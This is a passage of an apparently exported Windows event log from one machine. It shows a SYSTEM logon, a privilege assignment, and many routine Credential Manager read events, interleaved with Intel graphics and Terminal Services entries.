Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:54.872\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:54.938\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:54.938\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.018\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.018\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.019\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.030\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.030\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.030\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.424\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.424\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.428\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:52:55.459\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.461\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.463\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:52:55.491\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.492\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.074\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:56.082\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:56.510\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.510\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.511\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.511\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.512\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.512\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.516\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.516\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.519\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.519\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.519\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential 